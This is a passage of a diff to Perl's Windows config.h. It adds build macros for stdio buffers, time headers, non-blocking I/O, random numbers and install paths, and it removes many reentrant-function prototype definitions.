+ *	structure pointed to its argument. This macro will always be defined
+ *	if USE_STDIO_BASE is defined.
+ */
+#define USE_STDIO_BASE 	/**/
+#ifdef USE_STDIO_BASE
+#define FILE_base(fp)	((fp)->_base)
+#define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
+#endif
+
+/* DOUBLESIZE:
+ *	This symbol contains the size of a double, so that the C preprocessor
+ *	can make decisions based on it.
+ */
+#define DOUBLESIZE 8		/**/
+
+/* I_TIME:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <time.h>.
+ */
+/* I_SYS_TIME:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/time.h>.
+ */
+/* I_SYS_TIME_KERNEL:
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <sys/time.h> with KERNEL defined.
+ */
+/* HAS_TM_TM_ZONE:
+ *	This symbol, if defined, indicates to the C program that
+ *	the struct tm has a tm_zone field.
+ */
+/* HAS_TM_TM_GMTOFF:
+ *	This symbol, if defined, indicates to the C program that
+ *	the struct tm has a tm_gmtoff field.
+ */
+#define I_TIME		/**/
+/*#define I_SYS_TIME		/ **/
+/*#define I_SYS_TIME_KERNEL		/ **/
+/*#define HAS_TM_TM_ZONE		/ **/
+/*#define HAS_TM_TM_GMTOFF		/ **/
+
+/* VAL_O_NONBLOCK:
+ *	This symbol is to be used during open() or fcntl(F_SETFL) to turn on
+ *	non-blocking I/O for the file descriptor. Note that there is no way
+ *	back, i.e. you cannot turn it blocking again this way. If you wish to
+ *	alternatively switch between blocking and non-blocking, use the
+ *	ioctl(FIOSNBIO) call instead, but that is not supported by all devices.
+ */
+/* VAL_EAGAIN:
+ *	This symbol holds the errno error code set by read() when no data was
+ *	present on the non-blocking file descriptor.
+ */
+/* RD_NODATA:
+ *	This symbol holds the return code from read() when no data is present
+ *	on the non-blocking file descriptor. Be careful! If EOF_NONBLOCK is
+ *	not defined, then you can't distinguish between no data and EOF by
+ *	issuing a read(). You'll have to find another way to tell for sure!
+ */
+/* EOF_NONBLOCK:
+ *	This symbol, if defined, indicates to the C program that a read() on
+ *	a non-blocking file descriptor will return 0 on EOF, and not the value
+ *	held in RD_NODATA (-1 usually, in that case!).
+ */
+#define VAL_O_NONBLOCK O_NONBLOCK
+#define VAL_EAGAIN EAGAIN
+#define RD_NODATA -1
+#define EOF_NONBLOCK
+
+/* PTRSIZE:
+ *	This symbol contains the size of a pointer, so that the C preprocessor
+ *	can make decisions based on it.  It will be sizeof(void *) if
+ *	the compiler supports (void *); otherwise it will be
+ *	sizeof(char *).
+ */
+#define PTRSIZE 4		/**/
+
+/* Drand01:
+ *	This macro is to be used to generate uniformly distributed
+ *	random numbers over the range [0., 1.[.  You may have to supply
+ *	an 'extern double drand48();' in your program since SunOS 4.1.3
+ *	doesn't provide you with anything relevant in its headers.
+ *	See HAS_DRAND48_PROTO.
+ */
+/* Rand_seed_t:
+ *	This symbol defines the type of the argument of the
+ *	random seed function.
+ */
+/* seedDrand01:
+ *	This symbol defines the macro to be used in seeding the
+ *	random number generator (see Drand01).
+ */
+/* RANDBITS:
+ *	This symbol indicates how many bits are produced by the
+ *	function used to generate normalized random numbers.
+ *	Values include 15, 16, 31, and 48.
+ */
+#define Drand01()		Perl_drand48()		/**/
+#define Rand_seed_t		U32		/**/
+#define seedDrand01(x)	Perl_drand48_init((Rand_seed_t)x)	/**/
+#define RANDBITS		48		/**/
+
+/* SSize_t:
+ *	This symbol holds the type used by functions that return
+ *	a count of bytes or an error condition.  It must be a signed type.
+ *	It is usually ssize_t, but may be long or int, etc.
+ *	It may be necessary to include <sys/types.h> or <unistd.h>
+ *	to get any typedef'ed information.
+ *	We will pick a type such that sizeof(SSize_t) == sizeof(Size_t).
+ */
+#define SSize_t int	 /* signed count of bytes */
+
+/* EBCDIC:
+ *	This symbol, if defined, indicates that this system uses
+ *	EBCDIC encoding.
+ */
+/*#define	EBCDIC 		/ **/
+
+/* ARCHLIB:
+ *	This variable, if defined, holds the name of the directory in
+ *	which the user wants to put architecture-dependent public
+ *	library files for perl5.  It is most often a local directory
+ *	such as /usr/local/lib.  Programs using this variable must be
+ *	prepared to deal with filename expansion.  If ARCHLIB is the
+ *	same as PRIVLIB, it is not defined, since presumably the
+ *	program already searches PRIVLIB.
+ */
+/* ARCHLIB_EXP:
+ *	This symbol contains the ~name expanded version of ARCHLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define ARCHLIB "c:\\perl\\lib"		/**/
+/*#define ARCHLIB_EXP ""	/ **/
+
+/* BIN:
+ *	This symbol holds the path of the bin directory where the package will
+ *	be installed. Program must be prepared to deal with ~name substitution.
+ */
+/* BIN_EXP:
+ *	This symbol is the filename expanded version of the BIN symbol, for
+ *	programs that do not want to deal with that at run-time.
+ */
+/* PERL_RELOCATABLE_INC:
+ *	This symbol, if defined, indicates that we'd like to relocate entries
+ *	in @INC at run time based on the location of the perl binary.
+ */
+#define BIN "c:\\perl\\bin"	/**/
+#define BIN_EXP "c:\\perl\\bin"	/**/
+#define PERL_RELOCATABLE_INC "undef" 		/**/
+
+/* PERL_INC_VERSION_LIST:
+ *	This variable specifies the list of subdirectories in over
+ *	which perl.c:incpush() and lib/lib.pm will automatically
+ *	search when adding directories to @INC, in a format suitable
+ *	for a C initialization string.  See the inc_version_list entry
+ *	in Porting/Glossary for more details.
+ */
+/*#define PERL_INC_VERSION_LIST 0		/ **/
+
+/* INSTALL_USR_BIN_PERL:
+ *	This symbol, if defined, indicates that Perl is to be installed
+ * 	also as /usr/bin/perl.
+ */
+/*#define INSTALL_USR_BIN_PERL	/ **/
+
+/* PERL_OTHERLIBDIRS:
+ *	This variable contains a colon-separated set of paths for the perl
+ *	binary to search for additional library files or modules.
+ *	These directories will be tacked to the end of @INC.
+ *	Perl will automatically search below each path for version-
+ *	and architecture-specific directories.  See PERL_INC_VERSION_LIST
+ *	for more details.
+ */
+/*#define PERL_OTHERLIBDIRS ""		/ **/
+
+/* PRIVLIB:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ */
+/* PRIVLIB_EXP:
+ *	This symbol contains the ~name expanded version of PRIVLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define PRIVLIB "c:\\perl\\lib"		/**/
+#define PRIVLIB_EXP (PerlEnv_lib_path(PERL_VERSION_STRING, NULL))	/**/
+
+/* SITEARCH:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ *	The standard distribution will put nothing in this directory.
+ *	After perl has been installed, users may install their own local
+ *	architecture-dependent modules in this directory with
+ *		MakeMaker Makefile.PL
+ *	or equivalent.  See INSTALL for details.
+ */
+/* SITEARCH_EXP:
+ *	This symbol contains the ~name expanded version of SITEARCH, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+#define SITEARCH "c:\\perl\\site\\lib"		/**/
+/*#define SITEARCH_EXP ""	/ **/
+
+/* SITELIB:
+ *	This symbol contains the name of the private library for this package.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.  The program
+ *	should be prepared to do ~ expansion.
+ *	The standard distribution will put nothing in this directory.
+ *	After perl has been installed, users may install their own local
+ *	architecture-independent modules in this directory with
+ *		MakeMaker Makefile.PL
+ *	or equivalent.  See INSTALL for details.
+ */
+/* SITELIB_EXP:
+ *	This symbol contains the ~name expanded version of SITELIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+/* SITELIB_STEM:
+ *	This define is SITELIB_EXP with any trailing version-specific component
+ *	removed.  The elements in inc_version_list (inc_version_list.U) can
+ *	be tacked onto this variable to generate a list of directories to search.
+ */
+#define SITELIB "c:\\perl\\site\\lib"		/**/
+#define SITELIB_EXP (PerlEnv_sitelib_path(PERL_VERSION_STRING, NULL))	/**/
+#define SITELIB_STEM ""		/**/
+
+/* PERL_VENDORARCH:
+ *	If defined, this symbol contains the name of a private library.
+ *	The library is private in the sense that it needn't be in anyone's
+ *	execution path, but it should be accessible by the world.
+ *	It may have a ~ on the front.
+ *	The standard distribution will put nothing in this directory.
+ *	Vendors who distribute perl may wish to place their own
+ *	architecture-dependent modules and extensions in this directory with
+ *		MakeMaker Makefile.PL INSTALLDIRS=vendor
+ *	or equivalent.  See INSTALL for details.
+ */
+/* PERL_VENDORARCH_EXP:
+ *	This symbol contains the ~name expanded version of PERL_VENDORARCH, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+/*#define PERL_VENDORARCH ""		/ **/
+/*#define PERL_VENDORARCH_EXP ""		/ **/
+
+/* PERL_VENDORLIB_EXP:
+ *	This symbol contains the ~name expanded version of VENDORLIB, to be used
+ *	in programs that are not prepared to deal with ~ expansion at run-time.
+ */
+/* PERL_VENDORLIB_STEM:
+ *	This define is PERL_VENDORLIB_EXP with any trailing version-specific component
+ *	removed.  The elements in inc_version_list (inc_version_list.U) can
+ *	be tacked onto this variable to generate a list of directories to search.
+ */
+/*#define PERL_VENDORLIB_EXP ""		/ **/
+/*#define PERL_VENDORLIB_STEM ""		/ **/
+
+/* OSNAME:
+ *	This symbol contains the name of the operating system, as determined
+ *	by Configure.  You shouldn't rely on it too much; the specific
+ *	feature tests from Configure are generally more reliable.
+ */
+/* OSVERS:
+ *	This symbol contains the version of the operating system, as determined
+ *	by Configure.  You shouldn't rely on it too much; the specific
+ *	feature tests from Configure are generally more reliable.
+ */
+#define OSNAME "MSWin32"		/**/
+#define OSVERS "6.1"		/**/
+
 /* CAT2:
  *	This macro concatenates 2 tokens together.
  */
@@ -1036,25 +1425,7 @@
  */
 #define HAS_ACCESS		/**/
 
-/* HAS_ACCESSX:
- *	This symbol, if defined, indicates that the accessx routine is
- *	available to do extended access checks.
- */
-/*#define HAS_ACCESSX		/ **/
 
-/* HAS_ASCTIME_R:
- *	This symbol, if defined, indicates that the asctime_r routine
- *	is available to asctime re-entrantly.
- */
-/* ASCTIME_R_PROTO:
- *	This symbol encodes the prototype of asctime_r.
- *	It is zero if d_asctime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
- *	is defined.
- */
-/*#define HAS_ASCTIME_R	   / **/
-#define ASCTIME_R_PROTO 0	   /**/
-
 /* The HASATTRIBUTE_* defines are left undefined here because they vary from
  * one version of GCC to another.  Instead, they are defined on the basis of
  * the compiler version in <perl.h>.
@@ -1103,33 +1474,6 @@
  */
 /*#define HAS_BACKTRACE	/ **/
 
-/* CASTI32:
- *	This symbol is defined if the C compiler can cast negative
- *	or large floating point numbers to 32-bit ints.
- */
-#define	CASTI32		/**/
-
-/* CASTNEGFLOAT:
- *	This symbol is defined if the C compiler can cast negative
- *	numbers to unsigned longs, ints and shorts.
- */
-/* CASTFLAGS:
- *	This symbol contains flags that say what difficulties the compiler
- *	has casting odd floating values to unsigned long:
- *		0 = ok
- *		1 = couldn't cast < 0
- *		2 = couldn't cast >= 0x80000000
- *		4 = couldn't cast in argument expression list
- */
-#define	CASTNEGFLOAT		/**/
-#define CASTFLAGS 0		/**/
-
-/* VOID_CLOSEDIR:
- *	This symbol, if defined, indicates that the closedir() routine
- *	does not return a value.
- */
-/*#define VOID_CLOSEDIR		/ **/
-
 /* HASCONST:
  *	This symbol, if defined, indicates that this C compiler knows about
  *	the const type. There is no need to actually test for that symbol
@@ -1141,19 +1485,6 @@
 #define const
 #endif
 
-/* HAS_CRYPT_R:
- *	This symbol, if defined, indicates that the crypt_r routine
- *	is available to crypt re-entrantly.
- */
-/* CRYPT_R_PROTO:
- *	This symbol encodes the prototype of crypt_r.
- *	It is zero if d_crypt_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
- *	is defined.
- */
-/*#define HAS_CRYPT_R	   / **/
-#define CRYPT_R_PROTO 0	   /**/
-
 /* HAS_CSH:
  *	This symbol, if defined, indicates that the C-shell exists.
  */
@@ -1165,32 +1496,6 @@
 #define CSH ""	/**/
 #endif
 
-/* HAS_CTERMID_R:
- *	This symbol, if defined, indicates that the ctermid_r routine
- *	is available to ctermid re-entrantly.
- */
-/* CTERMID_R_PROTO:
- *	This symbol encodes the prototype of ctermid_r.
- *	It is zero if d_ctermid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
- *	is defined.
- */
-/*#define HAS_CTERMID_R	   / **/
-#define CTERMID_R_PROTO 0	   /**/
-
-/* HAS_CTIME_R:
- *	This symbol, if defined, indicates that the ctime_r routine
- *	is available to ctime re-entrantly.
- */
-/* CTIME_R_PROTO:
- *	This symbol encodes the prototype of ctime_r.
- *	It is zero if d_ctime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
- *	is defined.
- */
-/*#define HAS_CTIME_R	   / **/
-#define CTIME_R_PROTO 0	   /**/
-
 /* HAS_DLADDR:
  *	This symbol, if defined, indicates that the dladdr() routine is
  *	available to query dynamic linker information for an address.
@@ -1218,33 +1523,6 @@
 /*#define SETUID_SCRIPTS_ARE_SECURE_NOW	/ **/
 /*#define DOSUID		/ **/
 
-/* HAS_DRAND48_R:
- *	This symbol, if defined, indicates that the drand48_r routine
- *	is available to drand48 re-entrantly.
- */
-/* DRAND48_R_PROTO:
- *	This symbol encodes the prototype of drand48_r.
- *	It is zero if d_drand48_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
- *	is defined.
- */
-/*#define HAS_DRAND48_R	   / **/
-#define DRAND48_R_PROTO 0	   /**/
-
-/* HAS_DRAND48_PROTO:
- *	This symbol, if defined, indicates that the system provides
- *	a prototype for the drand48() function.  Otherwise, it is up
- *	to the program to supply one.  A good guess is
- *		extern double drand48(void);
- */
-/*#define	HAS_DRAND48_PROTO	/ **/
-
-/* HAS_EACCESS:
- *	This symbol, if defined, indicates that the eaccess routine is
- *	available to do extended access checks.
- */
-/*#define HAS_EACCESS		/ **/
-
 /* HAS_ENDGRENT:
  *	This symbol, if defined, indicates that the getgrent routine is
  *	available for finalizing sequential access of the group database.
@@ -1251,19 +1529,6 @@
  */
 /*#define HAS_ENDGRENT		/ **/
 
-/* HAS_ENDGRENT_R:
- *	This symbol, if defined, indicates that the endgrent_r routine
- *	is available to endgrent re-entrantly.
- */
-/* ENDGRENT_R_PROTO:
- *	This symbol encodes the prototype of endgrent_r.
- *	It is zero if d_endgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
- *	is defined.
- */
-/*#define HAS_ENDGRENT_R	   / **/
-#define ENDGRENT_R_PROTO 0	   /**/
-
 /* HAS_ENDHOSTENT:
  *	This symbol, if defined, indicates that the endhostent() routine is
  *	available to close whatever was being used for host queries.
@@ -1270,19 +1535,6 @@
  */
 /*#define HAS_ENDHOSTENT		/ **/
 
-/* HAS_ENDHOSTENT_R:
- *	This symbol, if defined, indicates that the endhostent_r routine
- *	is available to endhostent re-entrantly.
- */
-/* ENDHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of endhostent_r.
- *	It is zero if d_endhostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
- *	is defined.
- */
-/*#define HAS_ENDHOSTENT_R	   / **/
-#define ENDHOSTENT_R_PROTO 0	   /**/
-
 /* HAS_ENDNETENT:
  *	This symbol, if defined, indicates that the endnetent() routine is
  *	available to close whatever was being used for network queries.
@@ -1289,19 +1541,6 @@
  */
 /*#define HAS_ENDNETENT		/ **/
 
-/* HAS_ENDNETENT_R:
- *	This symbol, if defined, indicates that the endnetent_r routine
- *	is available to endnetent re-entrantly.
- */
-/* ENDNETENT_R_PROTO:
- *	This symbol encodes the prototype of endnetent_r.
- *	It is zero if d_endnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
- *	is defined.
- */
-/*#define HAS_ENDNETENT_R	   / **/
-#define ENDNETENT_R_PROTO 0	   /**/
-
 /* HAS_ENDPROTOENT:
  *	This symbol, if defined, indicates that the endprotoent() routine is
  *	available to close whatever was being used for protocol queries.
@@ -1308,19 +1547,6 @@
  */
 /*#define HAS_ENDPROTOENT		/ **/
 
-/* HAS_ENDPROTOENT_R:
- *	This symbol, if defined, indicates that the endprotoent_r routine
- *	is available to endprotoent re-entrantly.
- */
-/* ENDPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of endprotoent_r.
- *	It is zero if d_endprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
- *	is defined.
- */
-/*#define HAS_ENDPROTOENT_R	   / **/
-#define ENDPROTOENT_R_PROTO 0	   /**/
-
 /* HAS_ENDPWENT:
  *	This symbol, if defined, indicates that the getgrent routine is
  *	available for finalizing sequential access of the passwd database.
@@ -1327,19 +1553,6 @@
  */
 /*#define HAS_ENDPWENT		/ **/
 
-/* HAS_ENDPWENT_R:
- *	This symbol, if defined, indicates that the endpwent_r routine
- *	is available to endpwent re-entrantly.
- */
-/* ENDPWENT_R_PROTO:
- *	This symbol encodes the prototype of endpwent_r.
- *	It is zero if d_endpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
- *	is defined.
- */
-/*#define HAS_ENDPWENT_R	   / **/
-#define ENDPWENT_R_PROTO 0	   /**/
-
 /* HAS_ENDSERVENT:
  *	This symbol, if defined, indicates that the endservent() routine is
  *	available to close whatever was being used for service queries.
@@ -1346,25 +1559,6 @@
  */
 /*#define HAS_ENDSERVENT		/ **/
 
-/* HAS_ENDSERVENT_R:
- *	This symbol, if defined, indicates that the endservent_r routine
- *	is available to endservent re-entrantly.
- */
-/* ENDSERVENT_R_PROTO:
- *	This symbol encodes the prototype of endservent_r.
- *	It is zero if d_endservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
- *	is defined.
- */
-/*#define HAS_ENDSERVENT_R	   / **/
-#define ENDSERVENT_R_PROTO 0	   /**/
-
-/* HAS_FD_SET:
- *	This symbol, when defined, indicates presence of the fd_set typedef
- *	in <sys/types.h>
- */
-#define HAS_FD_SET	/**/
-
 /* FLEXFILENAMES:
  *	This symbol, if defined, indicates that the system supports filenames
  *	longer than 14 characters.
@@ -1371,23 +1565,6 @@
  */
 #define	FLEXFILENAMES		/**/
 
-/* Gconvert:
- *	This preprocessor macro is defined to convert a floating point
- *	number to a string without a trailing decimal point.  This
- *	emulates the behavior of sprintf("%g"), but is sometimes much more
- *	efficient.  If gconvert() is not available, but gcvt() drops the
- *	trailing decimal point, then gcvt() is used.  If all else fails,
- *	a macro using sprintf("%g") is used. Arguments for the Gconvert
- *	macro are: value, number of digits, whether trailing zeros should
- *	be retained, and the output buffer.
- *	The usual values are:
- *		d_Gconvert='gconvert((x),(n),(t),(b))'
- *		d_Gconvert='gcvt((x),(n),(b))'
- *		d_Gconvert='sprintf((b),"%.*g",(n),(x))'
- *	The last two assume trailing zeros should not be kept.
- */
-#define Gconvert(x,n,t,b) sprintf((b),"%.*g",(n),(x))
-
 /* HAS_GETGRENT:
  *	This symbol, if defined, indicates that the getgrent routine is
  *	available for sequential access of the group database.
@@ -1394,45 +1571,6 @@
  */
 /*#define HAS_GETGRENT		/ **/
 
-/* HAS_GETGRENT_R:
- *	This symbol, if defined, indicates that the getgrent_r routine
- *	is available to getgrent re-entrantly.
- */
-/* GETGRENT_R_PROTO:
- *	This symbol encodes the prototype of getgrent_r.
- *	It is zero if d_getgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
- *	is defined.
- */
-/*#define HAS_GETGRENT_R	   / **/
-#define GETGRENT_R_PROTO 0	   /**/
-
-/* HAS_GETGRGID_R:
- *	This symbol, if defined, indicates that the getgrgid_r routine
- *	is available to getgrgid re-entrantly.
- */
-/* GETGRGID_R_PROTO:
- *	This symbol encodes the prototype of getgrgid_r.
- *	It is zero if d_getgrgid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
- *	is defined.
- */
-/*#define HAS_GETGRGID_R	   / **/
-#define GETGRGID_R_PROTO 0	   /**/
-
-/* HAS_GETGRNAM_R:
- *	This symbol, if defined, indicates that the getgrnam_r routine
- *	is available to getgrnam re-entrantly.
- */
-/* GETGRNAM_R_PROTO:
- *	This symbol encodes the prototype of getgrnam_r.
- *	It is zero if d_getgrnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
- *	is defined.
- */
-/*#define HAS_GETGRNAM_R	   / **/
-#define GETGRNAM_R_PROTO 0	   /**/
-
 /* HAS_GETHOSTBYADDR:
  *	This symbol, if defined, indicates that the gethostbyaddr() routine is
  *	available to look up hosts by their IP addresses.
@@ -1480,66 +1618,6 @@
 #define PHOSTNAME ""	/* How to get the host name */
 #endif
 
-/* HAS_GETHOSTBYADDR_R:
- *	This symbol, if defined, indicates that the gethostbyaddr_r routine
- *	is available to gethostbyaddr re-entrantly.
- */
-/* GETHOSTBYADDR_R_PROTO:
- *	This symbol encodes the prototype of gethostbyaddr_r.
- *	It is zero if d_gethostbyaddr_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
- *	is defined.
- */
-/*#define HAS_GETHOSTBYADDR_R	   / **/
-#define GETHOSTBYADDR_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTBYNAME_R:
- *	This symbol, if defined, indicates that the gethostbyname_r routine
- *	is available to gethostbyname re-entrantly.
- */
-/* GETHOSTBYNAME_R_PROTO:
- *	This symbol encodes the prototype of gethostbyname_r.
- *	It is zero if d_gethostbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
- *	is defined.
- */
-/*#define HAS_GETHOSTBYNAME_R	   / **/
-#define GETHOSTBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETHOSTENT_R:
- *	This symbol, if defined, indicates that the gethostent_r routine
- *	is available to gethostent re-entrantly.
- */
-/* GETHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of gethostent_r.
- *	It is zero if d_gethostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
- *	is defined.
- */
-/*#define HAS_GETHOSTENT_R	   / **/
-#define GETHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_GETHOST_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for gethostent(), gethostbyname(), and
- *	gethostbyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-#define	HAS_GETHOST_PROTOS	/**/
-
-/* HAS_GETLOGIN_R:
- *	This symbol, if defined, indicates that the getlogin_r routine
- *	is available to getlogin re-entrantly.
- */
-/* GETLOGIN_R_PROTO:
- *	This symbol encodes the prototype of getlogin_r.
- *	It is zero if d_getlogin_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
- *	is defined.
- */
-/*#define HAS_GETLOGIN_R	   / **/
-#define GETLOGIN_R_PROTO 0	   /**/
-
 /* HAS_GETNETBYADDR:
  *	This symbol, if defined, indicates that the getnetbyaddr() routine is
  *	available to look up networks by their IP addresses.
@@ -1558,60 +1636,6 @@
  */
 /*#define HAS_GETNETENT		/ **/
 
-/* HAS_GETNETBYADDR_R:
- *	This symbol, if defined, indicates that the getnetbyaddr_r routine
- *	is available to getnetbyaddr re-entrantly.
- */
-/* GETNETBYADDR_R_PROTO:
- *	This symbol encodes the prototype of getnetbyaddr_r.
- *	It is zero if d_getnetbyaddr_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
- *	is defined.
- */
-/*#define HAS_GETNETBYADDR_R	   / **/
-#define GETNETBYADDR_R_PROTO 0	   /**/
-
-/* HAS_GETNETBYNAME_R:
- *	This symbol, if defined, indicates that the getnetbyname_r routine
- *	is available to getnetbyname re-entrantly.
- */
-/* GETNETBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getnetbyname_r.
- *	It is zero if d_getnetbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
- *	is defined.
- */
-/*#define HAS_GETNETBYNAME_R	   / **/
-#define GETNETBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETNETENT_R:
- *	This symbol, if defined, indicates that the getnetent_r routine
- *	is available to getnetent re-entrantly.
- */
-/* GETNETENT_R_PROTO:
- *	This symbol encodes the prototype of getnetent_r.
- *	It is zero if d_getnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
- *	is defined.
- */
-/*#define HAS_GETNETENT_R	   / **/
-#define GETNETENT_R_PROTO 0	   /**/
-
-/* HAS_GETNET_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for getnetent(), getnetbyname(), and
- *	getnetbyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-/*#define	HAS_GETNET_PROTOS	/ **/
-
-/* HAS_GETPAGESIZE:
- *	This symbol, if defined, indicates that the getpagesize system call
- *	is available to get system page size, which is the granularity of
- *	many memory management calls.
- */
-/*#define HAS_GETPAGESIZE		/ **/
-
 /* HAS_GETPROTOENT:
  *	This symbol, if defined, indicates that the getprotoent() routine is
  *	available to look up protocols in some data base or another.
@@ -1640,53 +1664,6 @@
 #define HAS_GETPROTOBYNAME		/**/
 #define HAS_GETPROTOBYNUMBER		/**/
 
-/* HAS_GETPROTOBYNAME_R:
- *	This symbol, if defined, indicates that the getprotobyname_r routine
- *	is available to getprotobyname re-entrantly.
- */
-/* GETPROTOBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getprotobyname_r.
- *	It is zero if d_getprotobyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
- *	is defined.
- */
-/*#define HAS_GETPROTOBYNAME_R	   / **/
-#define GETPROTOBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETPROTOBYNUMBER_R:
- *	This symbol, if defined, indicates that the getprotobynumber_r routine
- *	is available to getprotobynumber re-entrantly.
- */
-/* GETPROTOBYNUMBER_R_PROTO:
- *	This symbol encodes the prototype of getprotobynumber_r.
- *	It is zero if d_getprotobynumber_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
- *	is defined.
- */
-/*#define HAS_GETPROTOBYNUMBER_R	   / **/
-#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
-
-/* HAS_GETPROTOENT_R:
- *	This symbol, if defined, indicates that the getprotoent_r routine
- *	is available to getprotoent re-entrantly.
- */
-/* GETPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of getprotoent_r.
- *	It is zero if d_getprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
- *	is defined.
- */
-/*#define HAS_GETPROTOENT_R	   / **/
-#define GETPROTOENT_R_PROTO 0	   /**/
-
-/* HAS_GETPROTO_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for getprotoent(), getprotobyname(), and
- *	getprotobyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-#define	HAS_GETPROTO_PROTOS	/**/
-
 /* HAS_GETPWENT:
  *	This symbol, if defined, indicates that the getpwent routine is
  *	available for sequential access of the passwd database.
@@ -1694,45 +1671,6 @@
  */
 /*#define HAS_GETPWENT		/ **/
 
-/* HAS_GETPWENT_R:
- *	This symbol, if defined, indicates that the getpwent_r routine
- *	is available to getpwent re-entrantly.
- */
-/* GETPWENT_R_PROTO:
- *	This symbol encodes the prototype of getpwent_r.
- *	It is zero if d_getpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
- *	is defined.
- */
-/*#define HAS_GETPWENT_R	   / **/
-#define GETPWENT_R_PROTO 0	   /**/
-
-/* HAS_GETPWNAM_R:
- *	This symbol, if defined, indicates that the getpwnam_r routine
- *	is available to getpwnam re-entrantly.
- */
-/* GETPWNAM_R_PROTO:
- *	This symbol encodes the prototype of getpwnam_r.
- *	It is zero if d_getpwnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
- *	is defined.
- */
-/*#define HAS_GETPWNAM_R	   / **/
-#define GETPWNAM_R_PROTO 0	   /**/
-
-/* HAS_GETPWUID_R:
- *	This symbol, if defined, indicates that the getpwuid_r routine
- *	is available to getpwuid re-entrantly.
- */
-/* GETPWUID_R_PROTO:
- *	This symbol encodes the prototype of getpwuid_r.
- *	It is zero if d_getpwuid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
- *	is defined.
- */
-/*#define HAS_GETPWUID_R	   / **/
-#define GETPWUID_R_PROTO 0	   /**/
-
 /* HAS_GETSERVENT:
  *	This symbol, if defined, indicates that the getservent() routine is
  *	available to look up network services in some data base or another.
@@ -1739,66 +1677,6 @@
  */
 /*#define HAS_GETSERVENT		/ **/
 
-/* HAS_GETSERVBYNAME_R:
- *	This symbol, if defined, indicates that the getservbyname_r routine
- *	is available to getservbyname re-entrantly.
- */
-/* GETSERVBYNAME_R_PROTO:
